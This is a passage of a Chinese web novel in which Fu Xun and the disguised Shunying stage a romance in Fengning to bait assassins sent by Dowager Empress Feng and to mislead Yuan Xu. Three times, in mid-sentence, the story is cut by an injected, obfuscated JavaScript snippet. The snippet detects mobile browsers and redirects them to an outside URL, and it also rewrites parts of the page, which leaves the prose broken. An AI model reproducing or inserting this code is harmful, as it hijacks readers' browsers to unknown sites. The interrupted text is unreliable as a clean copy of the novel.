高轩身边副将笑吟吟问:“侯爷何不来与咱……” 高轩一巴掌拍到他兜鏖上,截住他接下来的话,赔笑向苻洵请罪:“身边人不懂事,请侯爷恕罪,侯爷与许姑娘慢走。” 苻洵不以为意:“无妨,打了胜仗大家高兴。”向身侧并肩的女子颔首,二人同时调转马头,率着上百亲兵向将军府方向行去。 副将瞠目结舌眺望远去的背影:“将军,侯爷这桃花也太旺了吧,先头夫人过世也没多久,身边又有了这位年轻貌美、武功高强的许姑娘。” “侯爷风华正茂,有个红颜知己怎么了?你管他私事作甚?”高轩给了他一个爆栗,却也不禁摇头感慨,“长得好看就是占便宜,再知情知趣、小意温柔些,有得是漂亮女人往上扑。” 一边叹着气,一边摸了摸自己过于刚硬威猛的脸,带着大队骑兵慢悠悠走向营地。 郎琊早已带着几名近卫守在将军府门口,只等苻洵和身边女郎跃下马背,立即过来替他们牵缰绳,亲兵也纷纷告退,牵着马的去马厩、没牵马的去庑房。 进了第三重院落,“许姑娘”长舒一口气,身形也松垮下去,一边抻着胳膊腿、一边走进敦睦堂解着全身武装。 “想不到姐姐横刀也使得不错”,苻洵跟进去,顺手关上门,替她解着护肩和身甲,“这身甲是不是太重了?” 许红袖——乔装易容后的舜英,一边解开护腕一边说:“还好,只不过六七年没穿过甲,一时不太习惯。” 她卸下自己身上甲胄后,又开始替苻洵解甲,满脸欣喜:“这次突袭曲勒打得实在漂亮,许久没这样痛快过,这一仗下来,他们比周边部落也强不到哪儿去,就看冯栩如何应对,弃子还是继续扶植。” 苻洵摇摇头:“不好说,冯栩的心思转得很快,咱们随机应变。” 舜英替他解完甲胄,将二人的铠甲收进兵甲库,有些遗憾瞥了一眼手边的横刀:“我还是弯刀和长鞭使起来顺手。” 苻洵揽着她坐下,替她揉酸痛的胳膊和肩背:“同时用弯刀和长鞭太显眼,冯太后发的那封列国悬赏明显是冲着你来的。” . 九月中旬,冯太后为崔少昕纂写碑文、修史立传之后,昭告天下:翊国大长公主元晴临终迷途知返,已自请不入苻氏陵园、并羞见祖宗,凰羽寺大祭司仁善,不忍其尸骨无葬,复其神位以示宽宥。 同时,冯太后悬赏天下各路英豪:有享大翊万民供奉而不守节义、不死家国者,人人得而诛之,元氏王室以万金厚赏。 时人莫不感佩她大义灭亲,节烈昭然,无数出身贫寒的士人与武将接踵拥戴。 “才万金啊,我一颗脑袋竟这样便宜”,暖阁里妆台前,舜英看着镜中自己,揶揄地摇摇头,“不说别的,好歹是率军两度收复朔门关的大将,招安过滬南五万降军的钦差。” 苻洵心绪复杂地注视着镜中的她:“不晓得什么时候,竟被她察觉你还活着。” “都有可能,毕竟前几年我在外招摇的时间也挺多,阿晴处理的只是铁证……可暗杀不需要铁证”,舜英凉凉地笑了,“之所以现在才揭破,无非是兵马养好、宣战的时机到了。” 苻洵摇摇头:“不太对劲,她为何要搞列国悬赏这么麻烦?你没恢复记忆那段时间,没什么武艺傍身、还老甩开我派去的暗卫,她何不趁白袍卫不在你身边时,派人神不知鬼不觉将你暗杀?” 舜英思忖:“我记忆恢复后,她才发现我还活着?” “应该是”,苻洵蹙眉摇头,“可就算你后来你恢复了记忆和武艺,出入阊江次数并不少,她一个掌权太后,手底下有的是武艺好的死士。你武功再高强,总能逮着你落单的时候,双拳难敌四手。” “也就是说,她其实并不确定我还活着,更别说知晓我在这儿”,舜英沉吟片刻揣测,“那这悬赏的目的,可能是为了杀我、也可能是为了别的目的……或者想打草惊蛇把我逼出来,同时还有其他谋算?” 苻洵颔首赞同,从抽屉拿出一瓶药水,倒了些浸湿丝帕,一点点替她擦着脸上胶料:“无论她确不确定,肯定是真心想杀你。咱们不如就呆在北卢郡,奉宁那地方鱼龙混杂,洛川别苑的府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906702|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵也不及将军府。” 舜英注视着镜中一点点现出真容的自己,神色透出悲哀,陷入沉思半晌,忽抬眸问:“这药水的味儿怎么跟以前的不同?” 苻洵偷偷笑起来:“你想事情太入神,我还想看看你多久才能发现呢?” 见她微带讶异,他解释说:“今年开春你出门去,我见你洗脸上胶料洗得难受,就拜托颜清和重新配药水,他琢磨试验了大半年,刚刚才配好把方子送来。这个不伤肌肤,味儿也不冲鼻子。” 舜英嗅了嗅药水,果然非但不冲,还带着淡淡的蜜香味。 苻洵在她颈窝轻轻一嗅:“可惜了,原本的素馨香露不能再用。” 舜英不以为意,轻笑道:“我对香道不甚通晓,劳烦郎君再替我寻一味新的熏香?” “遵命”,苻洵见她并未萦怀,唇角不禁上扬,返身从多宝阁抽出个精致的木盒递给她,“试试这味蜜合香?” 木盒漆着瑰丽的西番莲纹,没有任何气味,揭开盒盖是柔软的丝绒垫,中间凹下去一块,严丝合缝放着一只白玉匣,圆圆的、巴掌大小。她揭开匣盖好奇地深吸一口,幽若无味、甚至略略刺鼻。 苻洵含笑看她被冲得皱起鼻子,建议道:“只需挑出针尖大的一点点,抹在衣上。” 醇厚的甘甜味萦绕不散,初初嗅到竟与苻洵用的龙涎香有些相似,但甘甜之后却是恣肆的花香,像橙花、月季、腊梅等齐齐盛放,还带一丝晨露的清润。 舜英爱不释手:“这样包罗万象的香料,之前在奉宁和宜邑并未见过,哪儿来的?” “姐姐喜欢就好”,苻洵细细端详着浅绿略带透明的香粉,“曲勒国受降那夜,姐姐太疲累睡得早,我随便去集市逛了逛,见到埃兰国的商人在卖香料,就挑了几盒回来让姐姐试。” “之前用素馨露习惯了,乍一用这个,嗅起来竟比素馨还受用些。”舜英爱不释手,珍而重之盖好玉匣。 忽然想起自己当年恢复女儿身,挑选香露时嗅到鼻子麻木,鬼使神差想到那夜他送自己的素馨香露。从此,素馨就成了她的体香,每每托摇光从灵昌捎回香露,她不禁笑盈盈地问:“阿洵,你怎么那么会选?” 苻洵轻笑道:“阿洵可是立志要吃软饭的,总得多学学怎么讨姐姐欢心。” 舜英噗呲一声笑了,明明知晓他鬼话连篇,还是忍不住被哄得十分开心。 门外传来敲门声,小厮抬进洗澡水,婆子端了热水进来,苻洵等他们放下热水走后,拧了张帕子递给她,继续劝说:“姐姐,今年咱们就在将军府过年吧。” “将军府伺候的婆子和小厮都是签了死契的,还有家人在我麾下效命,这边军管严格、人口来往简单。至于奉宁……出了洛川别苑我什么都不敢保证。” 舜英脸上挂着笑,抬眸注视他、眼里没一丝笑意,带着恳求:“阿洵,我相信你和白袍卫的武艺。” “阿旭还被扣在清泉宫,金州那边虽说因大雪封山暂时休战,却不知明年是何境况,那是我的发小和堂弟妹……” “我懂了,若设身处地、我也无法酣然高卧”,苻洵轻轻抚着她的乌发,宽慰地笑了笑,矮身将头搁在她肩上、看着镜中紧贴的两张脸,“那我们就回奉宁去看看,我手中有刀、咱们周身有白袍卫,定会护姐姐无恙。” 腊月二十,建业侯苻洵回奉宁述职,挽着一位陌生的美貌女子,二人浓情蜜意地一起踏进洛川别苑。 姚晟迟疑地看向苻洵:“敢问这位姑娘贵姓……” 苻洵淡淡道:“许姑娘是我在西羌结识的知己,收拾一间干净的客房。” 姚晟恍然大悟,忙躬身施礼:“见过许姑娘。” 心底暗叹,又一个新欢。 178. 除夕暗杀 彩云楼位于城西,是奉宁最大的客栈,腊月二十四正午,老板正在书房对账,前堂忽然有人来报,说外面来了位厉害的大人物。 走到大门口时,老板吓得肝胆俱裂,只见黑压压的府兵包围了客栈,为首男子一身黑色锦袍,走上前颇为客气地对他一揖:“末将乃建业侯府家臣,奉侯爷之命到此为贵客安排食宿。” 老板先是一愣,随后恍然大悟。开客栈的本就消息灵通,建业侯风流的名声在外,前些天也听过一耳朵那新欢的事。 姚晟嘴上客气,行动却毫不客气,扔下一锭金饼、直接带人走上顶楼,对陪着笑脸跟随在旁的老板淡淡道:“我家主人喜洁好清静,半个时辰,我要这层楼又干净又清静。” 黄昏时,老板在客栈门口恭候许久,终于见到这位风流倜傥的建业侯,果真如传说中那般俊美灵动、气质出尘,因为太过好看,倒衬得他身边的袅娜女子没那么出色。 然而,当二人携手走过他身边时,微风将那女子帷帽上的白纱掀起一线,老板偷眼瞄去、不由呼吸一滞——也是个罕见的美人,身姿颀长柔韧、腰挂一柄玄铁横刀,不似奉宁城的温婉贵妇,别有一番飒爽野性的韵味。 那女子柳眉上扬,瑞凤眼顾盼神飞,左眼泪沟处一颗米粒大的胭脂痣,一袭红色襦裙、与苻洵身上长袍的颜色花纹和材质一模一样,一见便知是由同一匹布料裁成,就连熏衣香也是极相似的甘甜醇厚。 从那夜起,那女子就住进了彩云楼顶层最大的套间,其余房间尽数被清空住进府兵,三十多个好手夜以继日轮班值守,足见苻洵对这新欢的重视。 更令人浮想联翩的是,建业侯也每夜宿在此处。而且一入夜,顶层就会下来几个婆子占着灶台,一夜不知要往卧房送多少次热水…… 都说人不风流枉少年,可这建业侯从少年、弱冠一直风流到而立之年……还有继续风流下去的趋势。 . “出息归出息、英雄归英雄,就是忒风流了些。也就成婚之后老实过几年,可惜美男克妻,正头娘子一过世立马新欢不断。”这是今年除夕夜,达官贵人在勾栏瓦舍酒楼茶肆津津乐道的轶事。 “你啊,就安生些吧,今晚好好在宫宴待到散场再走”,这是今年除夕夜,苻氏阖宫家宴,苻洹在语重心长劝导苻洵,“陛下是痴心人,正为王后过世伤心呢,你从外面拉扯些新欢进府,左一个右一个,他能不生气吗?” 苻洵举了举手中酒杯,毫不在意地笑着辩解:“哪来的左一个右一个,就只有一个。” “那也不成,你先头夫人过世不到半年呢,装也得装出伤心久些”,苻洹叹了口气,“都知道王后和你先头夫人感情好,陛下也是把她当成亲妹子看待的。” “我什么德性他又不是不清楚,过小年那次被申斥,不也马上让红袖搬出侯府了?”苻洵无辜地撇了撇嘴,忽然抬眸觑着苻洹脸色,悄声问,“金州那边好不好打,那几员将领战力如何?” 苻洹拉他到僻静处,压低了声音:“崔玄仁性格谨慎、打法保守,十分善于守城……至于外戚褚氏,我也跟陛下合计过,能不出人命就不出人命,万不得已的时候、生擒了跟他们幼主谈交易,冯太后若是不保、跟幼主面子上过不去。” “这也是个办法,眼下北翊粮草已经开始短缺,幼主还想支援北翊,咱们能不跟他把关系搞僵最好”,苻洵点点头,又问,“我记得以前崔氏一直是全族都在金州,能不能一锅端了逼崔玄仁投降。” 苻洹重重叹了口气:“冯太后别的不好说,在用人和制衡上十分难对付,她对崔氏的布局怕是比咱们看到的还早。前几年崔久安担任太尉时,自以为掌控全局、就提拔了一批年轻的崔氏子弟去阊江,其中包括崔玄仁最喜欢的两个儿子。” 苻洵讶然:“崔氏嫡系子弟不是在玉照关大捷全部战死了吗?” “不是全部”,苻洹难受地扶住额头,“不过提到阊江去的大部分是文官,只有少数几个中年武将。” 苻洵会意:“手里没兵的文官……确实好,崔氏费尽心思渗透来渗透去,把自己人送上门当人质去了。” “蠢货!”他轻嗤一声,默在那儿思忖半晌,张张嘴正要说话,面前忽然传来恭恭敬敬一声:“阐儿给父亲请安。” “谁是你爹?你不是早就认祖归宗了?你不是要留清泉宫陪师父?”苻洵没好气瞥了一眼躬身行礼的苻阐,顺势抬眸盯着紧随其后、款款而来的元旭,凉飕飕地招呼,“哟,今晚陛下心情不错啊,把你都放出来了。” 元旭早已习惯他阴晴不定,毫不在意地笑了笑:“我没有跟你抢儿子。” “随便,我又不是他亲爹”,苻洵挑了挑眉,凉凉道,“说起儿子,冯太后对你可比对亲女儿还好,为了换你回去,难得低了个头。听说她已派使团到奉宁,送来她的发冠代替首级,为自家臣民谋弑我国王后之事致歉,还有些实在好处……” “丈母娘为庇护杀女仇人,向女婿道歉的,可是破天荒头一遭啊,也算长见识了。”苻洵悠悠说着,像是已经醉了,恍恍惚惚笑着,提着一壶酒踉跄走向殿外。 苻洹眼见苻洵一张破嘴、将气氛破坏得圆都圆不回来,又见元旭拳头攥紧、白皙的脸透出薄红,尴尬地张张嘴正要找补,元旭却对他施了一礼,转身向着苻洵的背影追了出去。 眼睁睁看着二人背影消失在玉阶下,苻洹无可奈何重重叹了口气:“又早退,下次怕不是申斥那么便宜,大过年的再挨顿打,光彩吗?” . 苻洵提着一壶屠苏酒,走几步、仰头喝上一口,步态懒懒散散边走边喝,遇到宫门就径直穿过,旁若无人地走出安门、踏上子午大街。 除夕夜,大部分人都在家关门闭户团圆,只有少数几家大酒楼尚在营业,街面冷冷清清,偶然有车马行色匆匆。苻洵并未乘车或是骑马,安步当车慢悠悠地往城西踱去,喝完一坛酒,藏身屋面跟随的暗卫继续送上一坛,他揭开盖子继续喝。 元旭也跟了一路。 一直走到彩云楼那条街,苻洵才堪堪停住,转过头冷笑:“平南侯与我私交过密,不怕冯太后治你个通敌之罪?” “我不知事态会变成这样”,元旭小碎步跑过去,“今日便是拼着被母后重罚,也想问建业侯一句,这楼上……” “这里没有你要找的人”,苻洵与他并肩走到大堂,找了个雅间懒洋洋坐下,才似笑非笑盯着他,“你那个好母后将悬赏令散得到处都是,你追着我要人作甚?怕她死得不够快?” 元旭沉默了,局促地低下头、双颊慢慢变红。 “我说冯太后在追杀她,你似乎一点都不惊讶”,苻洵从旁拿过一只酒杯,懒散地自斟自饮,一脸玩味盯着元旭,“我入宫守灵那几天,你跟她说了什么?” 元旭心虚地咽了口唾沫,答非所问:“母后手无缚鸡之力,我以为她最多做些小动作、动动嘴皮子诛心,不知事态会发展至此,你若是见到她能否代我转告……” “我上哪儿替你转告”,苻洵挑了挑眉、不屑轻嗤,“七月初我刚回家没几天,她哄我带她游山玩水,走到半道上给我下了碗迷药,等我醒来、人都不知道跑哪儿去了?” 元旭惊得站了起来:“她孤身一个女子,你也不去找,这世道… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913287|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”他再也说不下去,因为对面的苻洵笑起来,越笑幅度越大、两肩不断颤动。 “我是什么很贱的人吗?”苻洵笑容可掬地问,颤抖着举起酒壶,仰头大口往下灌酒,“她还是失忆那几年好,什么都不懂,说什么就信什么。这人一清醒啊,就变得不识好歹、老想着骗我哄我离开我。我再厚的脸皮,也有用光的那天吧。” “动不动说什么养育之恩、家国大义,我还想问,你那个好母后给你和她都灌了什么迷魂汤?” 说完这句,他再不搭理元旭,直起身走过空荡荡的大堂,慢慢顺着楼梯拾级而上。 元旭惊愕地注视着他,那双好看的桃花眼微微泛红,一滴泪从眼角溢出,滑落无痕。然而下一刻,他转过楼梯转角往上时,仍然笑容满面,似乎那泛红的眼眶、那泪水,全是自己的幻觉。 元旭犹豫片刻,鼓起勇气飞跑着追了上去。 脚步声敲响在空荡荡的楼梯上,就在元旭即将跟到顶层时,暗中扈从的白袍卫从两侧闪电般移到楼梯口,一左一右拦住了他。 “大过年的,何必如此扫兴”,苻洵停住脚步,懒洋洋转过身对他伸出手,“平南侯是想与我同乐?我让他们去群玉坊请些姑娘来助兴?” 元旭瞧着他一脸轻佻笑容,霎时涨红了脸,呆住许久才出声:“你对她是有真心的对不对?” 苻洵居高临下看着他,没有说话。 “拜托你一定要找到她保护起来,她现在很危险,若你对她还有一丝情份……”元旭语无伦次地恳求着。 “谁说我对她有情份?”苻洵俯身,似笑非笑注视着他,“不过当年心存不甘,得到了也不过如此,逢场作戏而已。怎么,你竟当作了真?” 元旭愣住了,嗫嚅许久才低声道:“算我求你,你若嫌麻烦,告诉我她在哪儿失踪的,我自己去……” “够了!”苻洵平淡地打断他,目光骤然犀利如鹰隼、直勾勾盯住他,右手铁钳般捏住他脆弱的脖子,一字字寒声道,“好好看清楚我是谁,跟我求情,你脑子进水了?” 元旭陡然感觉眼前人又变得像初见那样,恐怖而陌生,他徒劳地勉力挣扎、脸越涨越红,苻洵却只冷冷看着他,五指一分分收紧…… 就在元旭即将晕过去时,一声锐响破空而来,“嗖”地钉向苻洵后背。 苻洵迅速松手将他扔下楼梯,同时侧身避开射来的箭,右手在腰间一捞、挥出一匹秋水寒光,闪身飞快飙向套间,一脚踹开房门。 “红袖!” 拦在楼梯口的白袍卫一惊,齐齐拔刀冲向套间,紧跟着屋内传来密集的刀兵互斫声、箭簇破空声,原本守在走道的府兵也一拥而上,将顶层围得水泄不通。 元旭瞥见苻洵急切的神色,心里蓦然涌起希望,顾不上被摔得散架、挣扎着爬起来跟了过去,站在门外朝里看。 房间狼藉一片,凌乱地散落着被砍烂的桌凳、浴桶和竹骨屏风,洗澡水流了一地,寒光泠泠、血滴飞溅,十多名裹得严严实实的刺客、正与白袍卫缠斗在一起。屋子并不大,府兵拥在门外完全帮不上忙。 苻洵背靠一面墙,正被三名刺客围着攻击,一柄弯刀行云流水挥出了重影,同时左右格挡着三个方向的攻击。 定睛一看,才发现他身后有一名年轻女子,双目紧闭、无力倚靠在隔墙上,像是已晕厥过去。她穿着时兴的齐胸襦裙,衫裙凌乱,领口被向左扯开到肩头,右手小臂被刺穿、血流如注,手边一柄横刀刚被拔出一小截。 元旭忙避开她凌乱的衣衫,目光上移,悬着的心慢慢沉下去——那是一张从五官到神态、完全陌生的脸。 179. 陌路 苻洵觑准时机,猛然舒臂一挥、弯刀划出一道冷光,撕开鲜血狂飙,拦在他面前的三名刺客捂着脖子软软倒下。同时,他解下大氅反手一挥,盖住晕倒倚在墙边的女子,蹲身关切地呼唤:“红袖?” 元旭站在门外,目光反反复复扫过与白袍卫缠斗的刺客、那女子流血的右臂、拔出一小截的横刀,失望一点点弥漫开来——他虽不通武艺,却知道舜英的刀有多快,绝非这几人能一招刺伤、连刀都来不及拔出。 正思忖间,又一声锐响破空,一支箭风驰电掣射向苻洵毫无防备的后背。 说时迟那时快,俯身关怀晕倒女子的苻洵忽然动了,却不是挥刀格挡,而是侧身避过那支箭,任那支利箭挟着赫赫风声,“噗呲”一声钉入女子右肩。 同时,苻洵足尖一挑、将地上的刀踢起,舒臂接住刀信手抡飞,房梁上传来沉浊的“噗呲”声,一簇血花乍然盛放,藏身房梁的弓箭手落下,砸在地上发出柔软的闷响。 “动作利索点,收拾干净些,西城兵马司的人要到了!” 元旭僵立原地,盯着那支钉在女子右肩的箭,看着血液一点点洇出,将她红色的襦裙染得更深。 他看了看挥刀狠辣的刺客头目,再看了看若无其事的苻洵,全身冷得像坠入冰窟,又好像那支锋利的箭、扎进了自己肩膀和心头。 这两个男人,他全都认识,此刻却突然发现,他其实一个都不认识。 女子右肩的血、地上一滩滩血、半空飞洒的血,无数的血连缀起来,连成大幅诡异的猩红,那猩红越来越深、深得发黑。 元旭感觉头顶房梁和脚下地板同时旋转起来,他一个踉跄险些站不稳晕倒,一旁的府兵善意搀了他一把。他感激地对那人躬身一礼,扶着墙、柱、栏杆跌跌撞撞往楼下走去。 失魂落魄走到大门口,门外火光幢幢、庭燎晣晣,西城兵马司的人正迅速赶往彩云楼。 马蹄声踢踢踏踏、铁靴踏地声哐哐哐,在他嗡嗡直响的耳边汇成一篇杂乱无章的乐曲,冷汗从每个毛孔渗出,他终于忍耐不住,扶住门框撕心裂肺地呕吐起来。随后身子一歪,眼前发黑失去了知觉。 元旭醒来时,发现自己正躺在软榻上,软榻放在彩云楼的大堂柜台后。 满满一屋子人,西城兵马司、廷尉府、洛川别苑府兵。他耳边轰鸣了一阵,终于听清那些人在说什么“有死士刺杀建业侯”、“误伤许姑娘”、“全部服毒自尽,身份不明”、“多谢侯爷配合查案”…… 不知过了多久,熙熙攘攘的官兵散去,只剩洛川别苑府兵规规矩矩站在大堂,静静簇拥着正中的一男一女。 苻洵揽着那红衣女子,用大氅将她裹紧,柔声问:“今夜的刺杀没吓到你吧?” “又不是没见过死人,不过刚开始那会儿没注意迷烟,险些着了道”,红衣女子笑着娇嗔,“那些人好坏的,挑人家洗澡的时候来,都说奉宁城、国君脚下,怎么贼子也这样多?” 她笑起来英气中带着不自知的媚,有点像元旭记忆中的那人,但她一开口说话,就一点都不像了。 数年倾心相护,一朝惨遭背弃,苻洵定是被伤透了心,才对跟舜英有关的他再不客气,元旭悲哀地想着。 原来,无论母后还是苻洵,深到不计生死的情份,翻起脸来也如此可怕、如此不留余地。 苻洵搀着红衣女子走过柜台,漫不经心瞟了他一眼,红衣女子顺着目光也看过去,略带讶异地问:“这位公子怎么了,也被刺客伤到了?” 苻洵笑着拍了拍她的手,安慰说:“应无大碍,可能是自小金尊玉贵长大,细皮嫩肉没怎么见过血,有些吓到了。” “哦,也无甚,命好用不着见血”,红衣女子毫不在意地挪开目光,虽是笑盈盈的,声音却带着浓浓嘲讽,“不像奴家,从小就得刀口舔血过日子,命苦。” 苻洵笑容可掬捏了捏她的脸颊:“遇到了我,你的命就不苦了。” 二人一路打情骂俏相携走上楼梯,只剩陌生而轻浮的调笑声还回荡在大堂。 元旭悬着的心终于沉到谷底,死了般陷在冰窟里,惊不起半点波澜。 他抬了抬手脚,第一次发现它们是如此绵软无力,挣扎着张皇四顾,彩云楼大堂空荡荡的,又冷清又陌生。他移回目光怔怔注视着屋顶,鼻子一酸、眼角流下两滴泪。 . 苻洵搀着舜英回房坐在床边,解开她身上的大氅,褪去罩在身上的宽松深衣,只剩一件浅白的丝麻中衣,洇着点点血迹。 他轻轻“啧”了一声,脱掉她右半边中衣袖子,小心地拆着浸透鲜血的棉布:“怕是刚才的止血药没上够,全都被血冲出来了,忍着些。” “不算太痛,随便上药”,舜英笑得毫不在意,“小时候在喀雅山吃沙子,比现在疼的时候多了去。” 苻洵移过两个软枕,扶她躺好,擦净伤口周边血迹,重新撒上药粉后关注着伤口,直到新血涌出的速度减缓,不再将药粉冲散,才继续往上抖落药粉,然后裁下干净棉布、替她包扎小臂和肩头的伤口。 白皙肌肤上的殷红格外明艳,血腥气混着蜜合香的甘甜格外旁人血脉贲张。苻洵不紧不慢替她裹好伤口,手指却没有停,顺光洁如玉的脖颈慢慢往上、意味不明地捏了捏她下颌,唇角绽出笑意。 舜英呼吸有些乱,眉眼带笑佯作懊恼,指尖轻轻点在他额头:“侯爷心疼一下奴家罢,总不好带伤上阵。” “卿卿如此可人,倒怪我狠心”,苻洵笑容可掬、俯身欲吻,“我这不是在疼你?” 舜英忙撑在他胸膛止住动作,左手指了指身下:“刀,你怎么把刀四处乱放?” 又瞟了一眼靠在床头的横刀,苻洵会意,拿起自己的刀、与那横刀放在一处。俯身正要继续动作,发现方才动作略大一些,又有星点血迹渗出棉布。 苻洵动作停在半空,笑容越发暧昧:“看来,只有换个法子疼你了。”双手掐住她纤纤细腰坐起来,将她抱起、面对自己跨坐在膝上,襦裙的裙摆又大又长,苻洵伸出右手慢慢掀开,月华锦在空中铺开一朵绚丽的花。 就在裙摆绽放的刹那,苻洵和舜英同时闪电般出手,床头飞速掠起两道寒光、箭一般飙向屋顶。 苻洵手中弯刀穿透瓦片,旋即有粘稠的血从屋顶渗透滴落下来;舜英手中横刀力道稍轻,只听“咔”的瓦片断裂声和两声沉重的足音,紧跟着足音越来越轻,迅速远去。 “南边,追!” 苻洵将她轻轻放回床上躺好,站到窗前扬声发号施令,脸上一丝笑意也无。直到白袍卫追着刺客越过五六个屋顶,远得看不见了,才长舒一口气,疾步走到床前关切地问:“姐姐没事吧?” “我刚才没骗你,真的还好”,舜英拖着右臂坐起来,用左手将枕头往靠里的方向挪了挪,为苻洵留出空当,再重新斜躺到软枕上,“箭扎得不深,养个把月就好了。” 苻洵从竖柜取出两个新的软枕,叠放在床头,挨着她身边躺下:“姐姐怎么知道他们要在此时此地动手?” “他们这是有枣没枣打一竿子”,舜英唇角翘起冷笑,“你猜得没错,她并不知道我在哪、甚至不那么确定我的生死。” “我若是冯太后,肯定也先对你这边动手,毕竟我在荣国只与你有旧,当年‘死’前见到的最后一个人也是你。而两国已经开战,越往后查验越严、她的死士越难进来,肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915932|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要先下手为强。” 苻洵赞许颔首:“所以你特意让我带着你招摇过市、闹得全奉宁皆知我有新欢,哥哥一向厌恶我轻浮,定是要申斥我,而我为了顾及哥哥面子,必然会带你出来住客栈。” “是,我现在的身份、与你形影不离才合理,而你在哪白袍卫就在哪,洛川别苑和威远将军府守卫都太森严,他们寻不到机会”,舜英不紧不慢地说,“他们寻不到机会验证,就会一直心存怀疑,不如早早将他们打发掉,让冯太后将搜寻重心放回国内。” 苻洵会意,脸上浮起荡漾的笑:“而我除了白天上朝,其余时间都与你在彩云楼如胶似漆……除了除夕夜的阖宫家宴。” 舜英补充说:“其实还有上元家宴,但北疆战况如火如荼,他们不敢赌你会在奉宁待到大年后再走。” 苻洵点点头,又问:“你让我把元旭引过来,也是为了叫他们心里踏实?你怎么知道他一定会来?” 舜英道:“阿旭与我一起长大,又心思细腻,若他都认不出来我,那些人更看不出什么破绽。至于为何一定会来——我之前与他有个约定,虽然此一时彼一时,那约定已没法兑现,但他在清泉宫被关几个月,一放出来肯定着急寻我。” “也是个至情至性的人”,苻洵叹了口气,眼中露出不忍,“咱们今晚是不是过火了些?我上来那会儿看他快哭出来了?” “前两年局势稳当的时候,咱们一心隐居、跟他来往太多”,舜英无奈叹了口气,“阿旭从小心思浅、七情上脸,若不让他确信我已失踪,只怕回去会被冯太后看出端倪。” 苻洵伸出自己铁钳似的右手,举到眼前:“那也不必先让我差点掐死他,你再对他一顿冷嘲热讽吧?他也是担忧你安危。” 舜英笑容淡去,默了许久才轻声说:“他瞧着稳重成熟,骨子里还是个孩子。就这样没轻没重回阊江面对冯太后,太危险了。” “二十九岁的孩子?”苻洵挑了挑眉揶揄道,“你倒肯替他打算。” “他打小体弱、晕血,连杀鸡都听不得,除了宗室子必修的骑马射箭,别的都稀松平常”,舜英盯着帷帐顶,满脸怅惘,“偏偏心肠太软,有时候帮别人帮得差点把自己搭进去,那年兴庆宫被封,有点眼力见的都躲着走。偏就他不知死活到处替我求情……” 苻洵跟着叹了口气:“确实愚蠢……求他们有什么用?” “是啊……愚蠢,求人有什么用?”舜英唇角浮起笑意,“从小面软心活,前些年阊江朝廷内斗倾轧,他娘子搭进去一条命,也没让他长进多少。即使昇阳冯氏气焰煊赫、即使知道冯太后曾对我……” “对你怎样?”苻洵勃然色变,满眼探究盯着她,“除了现在刺杀,她更早还做过什么?” 舜英略过这问题,继续说:“阿旭还抱着幻想,期待他们能悔悟、能回心转意,期待所有朝臣家族还能像征和、永平两朝那样亲如一家。” 苻洵轻嗤:“朝臣世家亲如一家?怎么可能?不过是有得力的君主压着,没哪个不长眼的敢妄动。” 舜英注视着帷幕顶:“其实道理谁都懂,只不过心底不愿信,在如此局势下,他对建宁王和你还不知避讳……” 苻洵感慨:“叫他亲眼看看触及利益时真实的翻脸,虽说是为他好,却也着实残忍。” “是啊,看了就死心了”,舜英唇角上扬,挤出一个苦涩的微笑,“十几年养育之恩,到头来你死我活、血流成河,不亲眼看见,怎么说怎么猜都不愿相信。” 苻洵陡然意识到什么,紧紧抱住她。 舜英越笑越灿烂,肩头不断颤动,低声喃喃道。 “真正不死心的人,是我啊。” 180. 苻隽苻稷 建宁十四年,以两具无名尸首拉开惨烈序幕。 尸首悄无声息出现在奉宁南郊,面部已被镪水化烂,身上无胎记、痣、纹身,武器是铁匠铺最常见的雁翎刀,没有徽记、花纹装饰,所有可佐证身份的印记全被抹去。仅从掌心虎口的厚茧、身体多处陈旧刀伤箭伤,推测为行伍之人。 经廷尉府和西城兵马司查实,死者装束、趁手的兵器、练武习惯与彩云楼除夕刺杀案的案犯一模一样。 正月初一申时,建业侯被宣入宫中问话。两个时辰后,廷尉府将这起刺杀案以“北宛死士暗杀建业侯、误伤其女伴”为结论,草草结案。 苻洵一走进清泉宫前殿,就嗅到浓郁的酒气,元旭蜷在黑漆漆的角落、已醉死晕倒,远看就那么孤零零的小小一团。走近了看,只见他鬓发凌乱、满脸干涸的泪痕,怀里死死抱着个木盒、手里紧紧攥着一物。 苻洵一眼就认出,他怀里抱着的是洛川别苑常用来装药材的礼盒。 而他紧紧攥住的,是一枚造型奇特的摆件——算盘。纯金打造框、梁、档,玉、珊瑚、碧玺、白玉等宝石磨砺成九十一颗算珠,大小均匀、颗颗圆润饱满。 